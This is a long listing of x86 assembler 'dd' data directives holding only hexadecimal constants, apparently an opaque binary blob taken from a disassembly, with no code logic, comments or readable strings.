dd 775C73BFh, 0FED53400h, 0BD8BD1Eh, 0ABB8D0h, 653E4EB2h
dd 2203CCA4h, 1413039h, 727E43DDh, 15E08637h, 11D8008Ch
dd 6656CF61h, 0A7F2B2Dh, 7C000D75h, 81DEC1F8h, 5838393Ch
dd 0B2007C86h, 0F3ECD2A5h, 19C04975h, 818AE10Ch, 5F5D005Ch
dd 0D7B17276h, 0D0370F6h, 0C841EB25h, 8D101F94h, 0AEDA00D5h
dd 0A57190F5h, 0F7C0F200h, 6B06389Dh, 536A00BEh, 72FA5617h
dd 0E5009C73h, 5CC26EE7h, 84B012h, 0DC094BE2h, 0F8488E23h
dd 808B833Eh, 0E3E547AFh, 431C38h, 4D6F6E8Ah, 15B54AA2h
dd 29276400h, 0C501E4C3h, 0FDE60791h, 205C0F2Ah, 965E4240h
dd 0F6461209h, 2FF6875Ah, 793304D0h, 0D13E00A5h, 626AC2D3h
dd 8D1D0E65h, 14A4CE91h, 70BA4A00h, 1D31661h, 0CA1D5067h
dd 7B225584h, 0DA28E3C0h, 1E7D017Ch, 0F59E77C7h, 0D0F8D1C9h
dd 9F7075CBh, 0A64EE700h, 693FDC07h, 2A8500C5h, 882C9296h
dd 5A05A96Eh, 0CBDDEDFDh, 3D84E440h, 0E52490h, 0DB6E7F79h
dd 0E227724Fh, 0BD6D7800h, 3AB53E13h, 0AA420130h, 0BB2F22EBh
dd 8BF140DCh, 8400FCD4h, 78B87DA1h, 0E29F925h, 541E5115h
dd 74F29382h, 0BB670C40h, 63F6D1Dh, 1FF4DE80h, 1C993345h
dd 0FA71ADFCh, 0CDF2A980h, 44F65FDBh, 0FB07B090h, 0DEDAD91Bh
dd 0E0108F1h, 0F0C2E3E0h, 0DDF50141h, 0F40B9ED7h, 3033F01Ch
dd 87AB970Ch, 0CDD939h, 74DBC207h, 0A2800A35h, 16BBB601h
dd 5DDF915h, 6B6A4883h, 0E0E7AAA3h, 2ACC4FA0h, 0FCEE5600h
dd 5CC976F1h, 101A006Bh, 2397AE33h, 0AF00C632h, 17F2A760h
dd 46B186h, 39AC3C1Eh, 0AE2C0F31h, 159B9E1Dh, 64005752h
dd 8A2044E1h, 105560A9h, 0F62DC05Eh, 0DB0276F2h, 0F95A80EFh
dd 4C63B6h, 9DA0CC20h, 0A1CB577Ah, 6FEAD426h, 925A0D00h
dd 39E63E0h, 6A8530ABh, 13D0DEC3h, 3400ED45h, 0E8F32F0Eh
dd 6055B68Dh, 4C8B217Eh, 400E052Ch, 0C063E127h, 1EAE41EEh
dd 183B0E92h, 0A2A08E8Dh, 10022809h, 40DD8400h, 0D9B99917h
dd 663502FFh, 0D1F73127h, 0CAAB6860h, 0A9BA9C00h, 0B891B1C3h
dd 8EA800CCh, 8AAC925Dh, 8C09A59h, 0E7ADB3B5h, 0BFC700CEh
dd 0C3CBCAEBh, 9400D304h, 9BFAFBBEh, 14072E9h, 840EB377h
dd 479691ECh, 6C5550F8h, 5A06EB0Ah, 54F30469h, 3092E0h
dd 0A3987E90h, 51843ACCh, 0EC832609h, 0C0C80CDh, 76E4FD3Fh
dd 48A17145h, 48010475h, 300A7EB0h, 16F08078h, 732AA8F3h
dd 85350302h, 0D3875504h, 3A3BE000h, 33392B0Ah, 48410023h
dd 2D3E263Ch, 29FC1A42h, 45084960h, 50971EE3h, 9BFC5Eh
dd 74353D5Ah, 6B2C4663h, 5B0D4A01h, 0B4A79021h, 25CE084h
dd 132824h, 74F787BAh, 0D2966781h, 43B61426h, 80653609h
dd 0F06F6A08h, 32E0C9DDh, 47FFBC07h, 5E1490BCh, 0FD00D897h
dd 72F1DB3Ah, 17B2058h, 25EFADBBh, 6451133Dh, 0F51D0774h
dd 7880C774h, 0E1C5154Ah, 0CB4100F4h, 0D698FD7Bh, 6D036EE4h
dd 0DCC282D0h, 1F95B9B5h, 320C147h, 589E166Fh, 7FA496h
dd 0F6FE9BDEh, 0E801A6D7h, 6A3B400h, 0A8FAEEFh, 8A76003h
dd 6B8ACBF7h, 8CD87F00h, 94B09767h, 0A6A009B4h, 3200BBC5h
dd 2258EA56h, 237C9D00h, 4DE5EF4Ch, 0AEE70F0Bh, 0F25842C4h
dd 6028D47h, 406917E9h, 0D394404Ah, 0BDC201FBh, 2904F8EAh
dd 0F0E8210Bh, 7F75915Fh, 830B1098h, 1C8F0E9h, 63DBF33Bh
dd 197C2D4h, 0AB906AADh, 0F71D3024h, 0C2008C83h, 0C76FBFE2h
dd 0A9016Bh, 0ABF084D0h, 0F78568E3h, 704BE500h, 0B9BD12C0h
dd 128C90DCh, 369B4FFh, 0A67F2B4Ch, 0AF6B5A88h, 60397A3Ah
dd 0F412EE18h, 0A0EA6040h, 0C56E4E55h, 0B9D6C73Ah, 542883D3h
dd 0F3C0F0h, 1DB0B649h, 0CC78D2DCh, 95ABCEC2h, 15FF8666h
dd 0FDC23DB0h, 30870A19h, 0C3FC70BFh, 55A8191Fh, 38950700h
dd 0E0BC88h, 0EC7E6F83h, 0DDFDA054h, 0C8786300h, 6A98940Ah
dd 5CBF5888h, 6EC4A200h, 840FC245h, 3D0EFA0Bh, 5764102Fh
dd 3A280715h, 5032FC4Fh, 8D8BCD5Eh, 0F8237900h, 0E0F01907h
dd 60773C05h, 9DB5B600h, 0B37478C4h, 7AADD216h, 46A2D700h
dd 262DFC7h, 0ECAFEAE5h, 70406484h, 180044C2h, 0EF398CD9h
dd 905493E8h, 4A9800E8h, 649ECBE6h, 9403D504h, 6D76FF2Dh
dd 6F70A053h, 77FD0055h, 1EF64C78h, 0A705657Fh, 26EF3C01h
dd 10B47880h, 9FA84406h, 0EACBC91Dh, 0BD08D780h, 18FA1B3h
dd 0BA89AF92h, 206C648Ah, 90005A23h, 50FF0FFDh, 0F7BA3D2h
dd 0BFE6EFA8h, 0AC22F449h, 0E9213FCDh, 3864DD2Ch, 35220497h
dd 0A08BA2AFh, 0E826AD38h, 1E825C59h, 0C8A78E4Fh, 0F43460h
dd 3B04D1D3h, 5D3A3E7Ch, 0E15C4E09h, 0D51840E7h, 1BF30205h
dd 6B58E9DAh, 7C4550E0h, 4CD8FC00h, 78CCF27Fh, 0BEAC004Bh
dd 0B89E6566h, 94025F6Ch, 0C9B596AEh, 0FFC58FB3h, 0C5688640h
dd 9A42CC12h, 522F07E4h, 8FC89A6Ch, 8C7ECF40h, 0EE761585h
dd 16D10A1h, 0C6E84309h, 0C5423AA9h, 55E5330Fh, 0AE0C8055h
dd 0CDB15FEBh, 0B9238707h, 0BF409FCBh, 1E4F98h, 5332E936h
dd 0AEF73CFBh, 0BA351000h, 7AA56948h, 71540142h, 0CFF4B32h
dd 0A18DD417h, 0AC056AEEh, 0E9AED46Fh, 0B7CB3000h, 0E9605423h
dd 0C0564041h, 0E447D6F4h, 41E2F92Fh, 0C0509776h, 5F11B20h
dd 52E41F11h, 160C03A3h, 0E900D004h, 4BB7384Eh, 0AE01ECh
dd 3A83D52Ah, 68CB910Ch, 0AFEEF000h, 4C93BA2Bh, 10443E99h
dd 0F3DC460Ch, 4ADD541h, 42E46BC1h, 6D7E108Ch, 0DE016791h
dd 0EC419D1Fh, 0EB00AD39h, 0B0382F1h, 9B3F7E61h, 8F280857h
dd 4D109E0Dh, 48882D84h, 62A3802Bh, 5BA1E182h, 90DC7B0Fh
dd 95D5E164h, 0E160926Ah, 9474B2h, 12978B8Dh, 36896146h
dd 565423Dh, 0A6AD2B0Bh, 0D1B47CC0h, 0F7816BAh, 46800B7h
dd 0C76B825Dh, 0B8437724h, 5CCA2E00h, 712876h, 750A4864h
dd 0FFC34E89h, 0FEB20F9h, 0C1F92007h, 0B7904B5Eh, 0C07D9BBEh
dd 0D86B1550h, 720116A0h, 7CC4CC8Dh, 9850A9C1h, 178562h
dd 86EAE083h, 0F04CBC55h, 1134C400h, 62BAAD4Eh, 85940ED9h
dd 790318FEh, 4D8A2136h, 4EE4CC40h, 2E049B00h, 7651AB97h
dd 0FCE20096h, 1CBBDCB8h, 17541840h, 2D2436CCh, 0CDA6E8DAh
dd 0BC4F0B00h, 27720F2h, 965A8A0Fh, 9602DC2h, 1B0079FBh
dd 0DF3002D7h, 9DC19Bh, 0DC0366Fh, 6DF5F3A2h, 92DDD800h
dd 8CB0BEB6h, 22D00076h, 0A4F7163Eh, 0B9000BF5h, 0F286ECD7h
dd 23D8FFh, 5EC37624h, 0B529254Fh, 0BA514B00h, 0D8E5ED32h
dd 4CA40131h, 43C698Ch, 35787019h, 5EDDD900h, 0FA83FFC9h
dd 61BD02A7h, 5D9EC781h
dd 5CC29560h, 25A6CA1Fh, 0A379B400h, 79B9818Eh, 0F7E70004h
dd 128BE8B5h, 20006D78h, 0F1B0282Ch, 0A815B674h, 164585C0h
dd 67CA53h, 7B9B9CA5h, 12007655h, 38AB8071h, 14EEF2h, 79B78813h
dd 3E1A7F9Fh, 67578900h, 0D8B34EF0h, 0DE71027Dh, 0B97B108Fh
dd 4AC3F8C0h, 1A3B1900h, 702B27CBh, 0C6481D4Bh, 42120098h
dd 471DE122h, 7F07DE72h, 10DD6E05h, 2D70B3h, 6443AA98h
dd 6746A978h, 0A87D3Ch, 29C1906Ch, 3BB88B1h, 0A58AB333h
dd 0DD1B716h, 7D0D342h, 4000BC30h, 45C53120h, 0A0EE341Bh
dd 275698h, 88A3D8BDh, 0D201A59Bh, 0A7010C90h, 0EBF758A9h
dd 1024E2E3h, 0DE0A2EE4h, 27080ECCh, 24EC02F3h, 0F860751Fh
dd 67620C20h, 4E0D28h, 59B36FCDh, 7F76E3Ch, 0E7FE1185h
dd 3259AA0h, 0F200018h, 0EE43E2C8h, 1600CBFFh, 0B191FB2Eh
dd 0B58AE0Bh, 0BF312498h, 5B9A4480h, 0B40A3534h, 0D495EFE3h
dd 0E7F2A800h, 0F3AAC0h, 0F0ABC3E2h, 0EAC2C8CFh, 0C68CCB03h
dd 0C094D302h, 75FE1Fh, 7A080163h, 86F0FC5Bh, 0E9F95A00h
dd 92F85F85h, 401B7DEEh, 2B18889Ah, 11C02AAAh, 1F94A7Eh
dd 0ACA4448h, 818850BFh, 1AF66086h, 0D8EC2C00h, 0D3DFA12Ah
dd 5C680150h, 5F837962h, 989E7026h, 7352D900h, 289167B4h
dd 21EC00C3h, 94AE473Eh, 0C6008EBAh, 0E1FD6B80h, 58BE05D7h
dd 0BB079FB2h, 0B36259B7h, 82D94D19h, 0FBCAE071h, 21263F00h
dd 0A94420E2h, 515A00DFh, 99856E07h, 46006BBBh, 0E46A24D1h
dd 0E4CCE6ECh, 0C64500D9h, 2731D39Ah, 2C001756h, 2F085924h
dd 747B513Dh, 84ED0041h, 1F507D19h, 0CD00301Ch, 7F6956F3h
dd 2E1B6D42h, 39803Ah, 4939379Ah, 0B300CE65h, 0AAE77916h
dd 0EEED6FFh, 1DEB931h, 0FDE9BC81h, 88D9F442h, 12F094E6h
dd 517FFF00h, 0A4AC902Fh, 0A636002Bh, 8FB2ED02h, 9B00C69Eh
dd 0D11F2341h, 0E669B3h, 375EE19Ch, 0BDAB4A91h, 8758833Fh
dd 4AD0344h, 0C01CE702h, 0EC9814C4h, 0BDBC00A5h, 0C18F9AEAh
dd 0EB006C3Fh, 552B6462h, 6ACEE0h, 0E9FECCD4h, 4E808B46h
dd 63368F00h, 2765DFB5h, 6FE43Ch, 9FCE4D76h, 0F3708058h
dd 0FF2E7A00h, 59E79526h, 0AE870035h, 7F1B22FCh, 0C702C8DDh
dd 896A804Ah, 7678C848h, 0D0B5247Bh, 0FC030B94h, 3F9B8420h
dd 220679EFh, 0CD11178Dh, 2B540420h, 0C7F065D9h, 7782F07Dh
dd 80799061h, 1E2DA03h, 0F8D06281h, 76DCF2h, 0C8084038h
dd 0C51543E9h, 0EC8E8917h, 49E10F00h, 0B8F880A3h, 34850098h
dd 2C3A7A09h, 0DF020704h, 80AB99CAh, 0A4A1E1D6h, 1B203E0h
dd 0B0C643F1h, 0C83ADD9Ch, 0EFF2114Ch, 0AA91E400h, 0BE965B31h
dd 0B17807D6h, 903E54C8h, 0DAAB3F74h, 80F1A762h, 0A01AC329h
dd 4D0A2Eh, 52172785h, 56134178h, 3B397C0Fh, 465A015Eh
dd 30E01B3Fh, 11330042h, 12320F38h, 37010E31h, 0F3B4FA0Dh
dd 0C8209C73h, 60B3EAE0h, 0AE1EA4Ch, 2E12AA8Ch, 0CC401E5Dh
dd 48FF2F49h, 0A68E2C93h, 15EA3074h, 9E3A0A3Bh, 1C53804Dh
dd 0A2D7EE52h, 4E6C00BEh, 8683CD1Dh, 34008E25h, 0BA7F1FFh
dd 0E627E86Eh, 750E2E67h, 7459007Bh, 1C8112DAh, 0D6F4E9C4h
dd 38AF00E0h, 0AD0F098Eh, 0A720CE8Bh, 0BEFAD297h, 0E3EE08C0h
dd 395B392h, 8DAF94B0h, 9888BCA8h, 289EADBEh, 71327E03h
dd 64E90F1Ah, 982B2DF7h, 493B4420h, 70002859h, 9F181265h
dd 0B43B6h, 143EA98Fh, 0F832C5B9h, 0E9E470C0h, 0DE89ACh
dd 0D4A7D6F3h, 0B9EDFDCh, 0F7CCE20Ch, 12C69002h, 9031FE35h
dd 5E52E28h, 0CFE71900h, 0B92397CDh, 1A2520EEh, 0F1731E1Eh
dd 110A420Ch, 1F16F013h, 8056672Ch, 0A4EBFED1h, 0A8004153h
dd 8D08E0FFh, 498827h, 11EF477h, 0AEB76089h, 0A0A81174h
dd 86FF33EEh, 0E3F12351h, 0D4BA78h, 437FE1BBh, 0C0B7308Ch
dd 744E9318h, 4A16FC88h, 8A644D03h, 0C4E47220h, 0E62197A5h
dd 3072E8E4h, 0F79A8200h, 0EEC1D67Dh, 85B015Ch, 9EF4EC21h
dd 617D708Ch, 8902981Dh, 90E026F4h, 38BC008Fh, 2CFEFB74h
dd 1800F890h, 9FEAB1B6h, 21C147h, 2F926AF1h, 7D5B1540h
dd 0BC690200h, 967AB123h, 1611006Eh, 770E7F57h, 79001588h
dd 1D2F8FA8h, 93869D5h, 941887B0h, 417AC4Ah, 3FEB1FDCh
dd 8DEC84BAh, 24349193h, 10102C7Ch, 6709A0DBh, 24600889h
dd 438AA781h, 0D72921EFh, 9588BD10h, 22796542h, 0A82FA103h
dd 0A8998817h, 887FFC88h, 9688A29Fh, 84AD9013h, 8B485202h
dd 24113042h, 589121D1h, 0E113C712h, 0E5029DFCh, 894AF310h
dd 643708B3h, 21E95104h, 4F124DF9h, 0C8024410h, 0A642FD29h
dd 217B2464h, 21120388h, 8963FB10h, 44450877h, 22843501h
dd 23446142h, 4A7805FBh, 0D071F9EAh, 0FD667BD0h, 6180ED22h
dd 22050888h, 791EE45Fh, 1A5E7100h, 2333757Dh, 386C5986h
dd 50E29B00h, 840EAEE7h, 87449C00h, 1E9237BEh, 2F4BE686h
dd 8805494h, 2D2AC3D4h, 5F6BFB03h, 0D0026846h, 89EC28h
dd 0BACF6D83h, 0A436212Bh, 0B2AE58h, 8DB7E4A9h, 0FD178Eh
dd 67C9DD04h, 479D928Ch, 28408516h, 2C141C00h, 4E3E2B1h
dd 0EB10299Ch, 28541Eh, 48F679ADh, 72821Bh, 63E959D2h
dd 22FE8838h, 0AF3A1273h, 83843886h, 0CFA0D3B6h, 0DD7ED07Ch
dd 0F2450478h, 905D65F4h, 47B8BC7Ch, 2098C206h, 0C389017h
dd 0AFDF310Ch, 9F00EDE9h, 2EB2F4B3h, 83E08Ah, 0BCB9FBBBh
dd 95C2F931h, 0AFE7E200h, 6F2F01A6h, 0A8B0F3h, 7FA4BB30h
dd 35AA82F0h, 0A7EDF800h, 0E70ECFABh, 34E80Ah, 0F3111DB0h
dd 70494E26h, 0FB777D00h, 869EC2AEh, 9AEC0EB7h, 5A80B093h
dd 0F731F55h, 0E1C6D003h, 809C382Ah, 64ED2Eh, 5DDA2581h
dd 62733339h, 0D01F173Fh, 0E100EECAh, 0B0B7D35Ah, 0E74E5Eh
dd 0D803A449h, 0F7DC2164h, 9700E57Ch, 0D6F562C1h, 245783D9h
dd 20E7AEACh, 0C7124A90h, 3F5E4000h, 44F00D25h, 610A1800h
dd 4B241E4Ah, 0E30014Ch, 95D30FAEh, 6FBDD05Ah, 0D615681Ch
dd 0CF1E49C0h, 874C83h, 6CEEA544h, 0E03BD8BDh, 36BF421Eh
dd 2BC29302h, 220FC06Bh, 52FD0073h, 475D7B2Ah, 53ECF8Eh
dd 37F005Ah, 0AC831C46h, 2A7C1Ah, 956B34F5h, 0DCDB13F3h
dd 9F112F00h, 8638AB96h, 62EC8Bh, 359ED0C8h, 29F7A588h
dd 0BF56E500h, 8F2B840Fh, 0B7B812EDh, 59340239h, 86069672h
dd 0C0933A91h, 37236100h, 0A7A1B02Ah, 8E684703h, 98AB84C1h
dd 0A5D203h, 0A4086CC6h, 154183CBh, 8081D03Bh, 0BEB812CCh
dd 38BB10D9h, 19E3268Ah, 67F029CBh, 827CB2A1h, 301CA500h
dd 80B60F72h, 0FD75011Bh, 79693A5Eh, 0A125E474h, 0C6A26200h
dd 48585C6Eh, 989400B8h, 59E417FDh, 84792A03h, 0A4216803h
dd 0F8D67E2Ch, 0B8B293B1h, 2A830EA0h, 502C9F23h, 8BF85638h
dd 30F7E000h, 0EF75C7E2h, 0F5D05DFh, 97F8E75Ah, 0FCE239DCh
dd 8CE4C4DAh, 0B6B9A917h, 0E3BEC882h, 9B5FC0C4h, 0BBDA001Bh
dd 0BFE617B3h, 2C9CF0A7h, 0CD84002Dh, 9A1B1C8Eh, 68D0092Ch
dd 9C682292h, 2101D75Ch, 26304B4Ch, 5FE0950Ah, 3AAE982Ah
dd 6600694Eh, 30AF3A8Ah, 0BC094614h, 0E56DE9h, 0FCA5DBB4h
dd 0E3C20036h, 0C40248AFh, 94019659h, 3911161Fh, 0E9CCAC86h
dd 4367C1Ch, 6A41A8C3h, 14AC94h, 0F50A9DE2h, 1722546h
dd 1A6947F3h, 0D07C4F7Bh, 267B8865h, 0D217C770h, 0FE070FC6h
dd 0A94FCBECh
dd 4A120041h, 39DD62h, 0DFD0210h, 0FA6EDE3Dh, 5E9E5700h
dd 0BB504E61h, 0DBDF00EBh, 6C95E801h, 0F2001A49h, 0AF861FE6h
dd 0FE1B29h, 28CE5448h, 0ADA26A3Dh, 68B67A18h, 18F91D19h
dd 11F531FFh, 87007E98h, 4FEBA023h, 0B4E5CFh, 0F22E3F5Bh
dd 0EA56207Fh, 0FA8BBC04h, 54E02130h, 1C9E00CDh, 6881D5Bh
dd 40FF3353h, 6A5A9BF4h, 99C93Dh, 5CA8E483h, 0F8DDD86h
dd 89D97A62h, 0FCA508F9h, 3E173A7Fh, 40809159h, 431395h
dd 2A0E8C66h, 70C2BB6Ch, 0F480EBB8h, 0C35064FCh, 511EC4B4h
dd 33C0AD9Fh, 0A1D3ED07h, 681400BBh, 0BE98322h, 4C00DFCBh
dd 6DBDF7A0h, 4979D7h, 577896AFh, 94DCC254h, 92B1500h
dd 0D3FC3561h, 71F30005h, 28FD9ECEh, 0F00B1B9h, 53516639h
dd 8BF655h, 901EFA92h, 8CFCB5BCh, 0CEC9403h, 1C42Eh, 0A9198028h
dd 8B6A6344h, 34E69900h, 0D0FB27E4h, 6CF4063Fh, 0F081339Fh
dd 1652E107h, 5A6B657h, 0AC2C00B4h, 6787A918h, 0B403784Bh
dd 4D48A58Ch, 9A03B80Ah, 51D003Bh, 5F4A5443h, 420098BBh
dd 143C2C7Ah, 0E63FEDCCh, 66CB011Fh, 96E1F017h, 95E2EC47h
dd 8EEC4800h, 2439F631h, 93D0A8Fh, 0D8FB0Bh, 0F25270D3h
dd 4B3829D1h, 4E027AE9h, 627905E6h, 0A0747002h, 0F2671946h
dd 59710076h, 5D757246h, 7E001B5Bh, 85225674h, 2868CAA3h
dd 10D8C2DFh, 0FCB2C94h, 201655ECh, 0EA1298BDh, 0B0B083h
dd 0A6B4936Fh, 0A9EC58B3h, 0C65A2D00h, 0A0257908h, 0C1240077h
dd 93A8191Dh, 4D1FAF9Eh, 0DD809A72h, 2B82146Ah, 0BE3100B1h
dd 0BFA69FD4h, 0EFF423ECh, 46DCA900h, 4F06CE8Dh, 4057D9Ch
dd 65902063h, 0BC8DC027h, 400A8EDh, 0CD8AABEFh, 13AA4CFCh
dd 2F754Dh, 87EBDB66h, 0BA037F28h, 0A0C24D4h, 8EE2F168h
dd 1CE830h, 343E5B9Eh, 29416697h, 6EBCA095h, 0F7404A4Fh
dd 8B340889h, 4C9590E0h, 6DD5A700h, 66E0F454h, 0D9FB0085h
dd 992A1679h, 7C00A3DFh, 27AF0C23h, 666F28h, 96063D13h
dd 34B44FD2h, 0CE0FE898h, 0ABF8E3C8h, 73A68711h, 0E86CAD53h
dd 16F26Eh, 1FD9EA5Fh, 644D9DCCh, 135D9B00h, 0C223F790h
dd 417D26h, 0E6F6CE2h, 6BB214F6h, 400B5A00h, 0A98B6942h
dd 2E7E02C2h, 0EC9B7B94h, 5036070h, 66FC444Ah, 253D80CCh
dd 0D067010Bh, 6A2ED1D3h, 0ED343035h, 0E1A5460Fh, 90ACE02Dh
dd 0B06DE7E6h, 51430056h, 0D10C1CBAh, 33E6A182h, 4D1637EAh
dd 0D005E8h, 0EB85C84h, 7E316658h, 5E2B99CEh, 30168CC1h
dd 0EE134444h, 0C010237Ah, 0E63C03D0h, 84526E6Dh, 23BC4A8h
dd 61EF7B00h, 5C018376h, 0FA89741Dh, 0FB8A1D00h, 7BBB282Fh
dd 72BA2E6Ah, 12D7001Ch, 0C8ABB977h, 0B3A2B200h, 0E9CECD8Bh
dd 79E805FCh, 0B0BD0936h, 88017F30h, 3DFE75A6h, 92D8377Dh
dd 26DCA0C8h, 0F88E008Dh, 0B9B33120h, 70488ABAh, 4DB802F0h
dd 0F81DD6BBh, 1430F130h, 33C401C9h, 31B33908h, 191DE75Eh
dd 0AF402A63h, 5590F48Fh, 5E237C38h, 0F888C05Ah, 4417FB42h
dd 0E441EB67h, 0AF4A48B5h, 43F866C5h, 0CD0301AAh, 9940389Fh
dd 97C0F614h, 0BB00ED56h, 8E575895h, 0E51132CEh, 80DEF03Ch
dd 0CCC938BDh, 0DB2ADC27h, 5A0EBCA2h, 84EAD493h, 0E487D796h
dd 7889h, 2D05E2B9h, 56F7E4C3h, 9AE7A607h, 0A44192BDh
dd 9EF8C0B7h, 36C13B90h, 1FC48B81h, 50E6CE0Ch, 9F873BCh
dd 818CC05Ch, 37196438h, 0C8003427h, 0DCB89B92h, 7F0F686Fh
dd 20C9A9BBh, 0E605B685h, 9E876FFh, 0F8099E6Ah, 3B024A00h
dd 963A0D5Ch, 0B0E70092h, 0B38822EBh, 1A360737h, 0A56C1958h
dd 55DC0096h, 0EBA0835h, 878030C0h, 3CE54D5Dh, 0D1061F2Bh
dd 0B07C733Ah, 0B129B03Ah, 0DE2539FBh, 185260h, 85AECAE5h
dd 65C91C4Dh, 808C1ECFh, 0D6D33403h, 4E790060h, 75741ED2h
dd 0C500BD97h, 9CAB2D5h, 7F5A31h, 6AA31986h, 73D34F79h
dd 52DC2A04h, 0D8AC7871h, 0F4343160h, 7E4C4BE5h, 0CA430F20h
dd 0DA8300B9h, 50AA1915h, 7682D818h, 58D274EBh, 7D3C8CEEh
dd 7ACAF200h, 54E0F8F1h, 0E2FC9B00h, 81FDFE7Eh, 79EA74C8h
dd 3FE6Bh, 0CE99D779h, 379CD67Dh, 3E15F40Ah, 4B008074h
dd 0AD9DF190h, 0DA70008Bh, 0C095698Ch, 5006EBEh, 0F777639h
dd 130ACE2h, 0BDBC9F18h, 0FBAA8997h, 0D138F2E0h, 0DF4E70Ch
dd 77A502Ch, 11437850h, 3D1593h, 0A7DE3AC0h, 5D1FF1D4h
dd 1C09F98h, 0F8172BC2h, 0E1E404h, 8930540Eh, 3603840Dh
dd 4E1F7609h, 586900FCh, 48CADD3h, 6E949C34h, 0F0B868h
dd 0C0184A70h, 159DDDCh, 9E532A32h, 874C032Ch, 0DEC35DD4h
dd 54CEF511h, 131F4F4h, 0D72B155h, 0D47C75A3h, 0BF1B60CDh
dd 0F1992CCh, 98389C2Eh, 47EF6960h, 9CB884E5h, 0B6419102h
dd 78A8838Eh, 6D7984h, 0ECF2C935h, 8B20C5CEh, 0D6181900h
dd 2476DEC1h, 72B8009Dh, 8835543Eh, 0C9071FE1h, 0D8BB34E2h
dd 0EEF1C16Fh, 0C0CE05A1h, 1F8DF58h, 40DB5BE8h, 3EFFC8EAh
dd 0A9C2700Eh, 30085067h, 0BCC65BB5h, 0BE005943h, 0B9A2FDF8h
dd 0B8456C42h, 22C10080h, 41521A48h, 667CA3C5h, 0DF0E3700h
dd 0E6152D0Fh, 23273AB9h, 0D500C338h, 0B37CCD9Eh, 5003D697h
dd 99C2E387h, 1D3087ABh, 9ADF1BBh, 2ACBF8DAh, 0FB9ACC80h
dd 0DD00B54Ah, 0E88C98C0h, 73ABC3h, 0BFB98AB7h, 0EC237924h
dd 0E7D2A30Eh, 41B60532h, 0A9186ABCh, 0F31C21AFh, 0EA02A700h
dd 0D8BAF242h, 7858017Fh, 0C9D7E568h, 8FC47094h, 125B9802h
dd 0C1396BBFh, 4430C4FCh, 0B7090041h, 0A4493113h, 0D1025EF1h
dd 0D3C8FEEBh, 0C01CC2D8h, 50B574h, 66953B9Bh, 8D6306F2h
dd 0C01F7100h, 0FD41A3E9h, 0F7E11D6Eh, 2CFF4109h, 705AF8B7h
dd 1B00CD8Bh, 372F1857h, 0FDD038h, 0C3070336h, 64E3F0D3h
dd 8E581EFCh, 2DB70055h, 74B2A327h, 49950F34h, 0BA40DB10h
dd 174216E5h, 0A1E78003h, 0D0230FE0h, 6066C7h, 53195A30h
dd 0D4F25178h, 0CF0048F4h, 0D2A5B390h, 0BAAA91h, 0E07AD7D6h
dd 30A1BDAEh, 38E10890h, 679C00E0h, 91BDE57h, 58F9035Ah
dd 48F2737Ch, 0C4B477C9h, 0A524BEACh, 2A1D111Dh, 0AE925E40h
dd 4EA8F96h, 80B1FF7Ah, 0E05D803Ch, 5800B9E1h, 56708916h
dd 18823911h, 194E5E62h, 0DF002A15h, 740E0694h, 65BEC0Bh
dd 0B8D0531Dh, 22186887h, 83C43665h, 0FE180011h, 2885AFB0h
dd 81746914h, 5BD21E50h, 0E87B0E00h, 0DEFAF378h, 0EF4E0346h
dd 187F8F3Eh, 0D3925AD0h, 9159E70Bh, 288A01D6h, 0D4E45594h
dd 17150096h, 0DF97BF6Fh, 190031B6h, 4F42B5A2h, 16C50F0Dh
dd 3A698Bh, 6C2AF8F4h, 70025F6h, 82EAC367h, 20E3823h, 0A770CE53h
dd 0ECC0028Bh, 0A22DF946h, 4F0DD069h, 98809033h, 3900FED7h
dd 60EA7E6Fh, 0C58A23h, 3AC637D9h, 0B78E331Eh, 0E9D30400h
dd 600B2B6Ch, 21F676h, 9BB9B56h, 0F9F758A5h, 0F86FEC00h
dd 0CA71F0FBh, 0AEC40065h, 57832793h, 2F0777F3h, 0CCDE48C1h
dd 4E9085E0h, 0CB3D0317h, 0C86218A7h, 828BC1E0h, 2203BA00h
dd 7A3357E8h, 0E90C006Ch, 1D31D4Eh, 0D0017230h, 0B41560F4h
dd 0DC30FD7Dh, 0FC9D014Dh, 3E334BA9h, 605C34A6h, 79EF4105h
dd 9B0097EAh, 0B487D199h, 37331C49h, 111F80B8h, 79E520F3h
dd 567F7000h, 9CB32BBBh, 0EBAF00B6h, 7337CC57h, 690B870Fh
dd 40C44C2Ch, 1BF194h, 1833EEDBh, 5796BF86h, 0BCD6AC1Fh
dd 0A078DC8Fh, 439C7207h, 56AF26EDh, 7086008Ch, 0BFA7AAB4h
dd 0A300FEE0h, 892B7DBCh, 684127Ch, 3D8E633Fh, 8600B875h
dd 0A53961Dh, 1A5476Eh, 8DA3B9C6h, 6A1828AEh, 0FE34D042h
dd 2AA068B3h, 91AB007Ch, 0AC3D16D5h, 0C4A4C39h, 40766880h
dd 38A4016Fh, 2B294DBFh, 35E02AF9h, 51E0C062h, 0CA8A981Ch
dd 3D928B01h, 0BEB555D7h, 98C176D4h, 24C3055Ch, 0C0AA1E54h
dd 0A7A0E455h, 1741C000h, 0D22C7FADh, 0FA0B0EFBh, 0C720DF06h
dd 7295C5E6h, 0FD003D7Bh, 252DC426h, 0B9AA53h, 0F8E96777h
dd 129A86DCh, 0E7A78900h, 7EC0F3B8h, 0E26C1641h, 0DD5C005Bh
dd 0DA334AEEh, 85493600h, 0FEE6EFDCh, 2EA91D41h, 1AC0012h
dd 823ABEF8h, 0D5F02800h, 0A4FE91CFh, 369604DBh, 8051CE10h
dd 6CD61608h, 0D71A4D03h, 0EB214C83h, 0E426F080h, 0DEC4C07Ah
dd 0D32A8150h, 9A24B1Eh, 0BA46300h, 0C8B61F0h, 8A62F30Ch
dd 750B3B10h, 1179C9h, 6AA440FCh, 66DE282Eh, 0C3B100CCh
dd 5CB0E4B5h, 0F4EF8B51h, 103478Eh, 0A9F2150h, 532CC0BFh
dd 848C2CBAh, 0F5070968h, 19A9C00h, 4A01C32Dh, 5C7F460Eh
dd 206CB79Dh, 82107B84h, 48C0CE64h, 7C1660A3h, 0A800EE34h
dd 86555049h, 8EF0CE52h, 90BA00F7h, 97E4EB3Dh, 0C9E84800h
dd 0D7024E9Ch, 0DC92A2h, 1AD339A0h, 1CCE6781h, 0DA8834Eh
dd 0C9588406h, 0A6061022h, 13033FEDh, 0CA800F0h, 0FE50A02h
dd 9E002F5Ah, 2636B794h, 0FC4812h, 8E8D76D5h, 28099F9Ah
dd 600FA52Dh, 6EB08Ch, 44C37C67h, 2BBE95B1h, 0BC277B00h
dd 1F33472Eh, 0B08A0B34h, 0CF005967h, 2C44689Bh, 1D506D00h
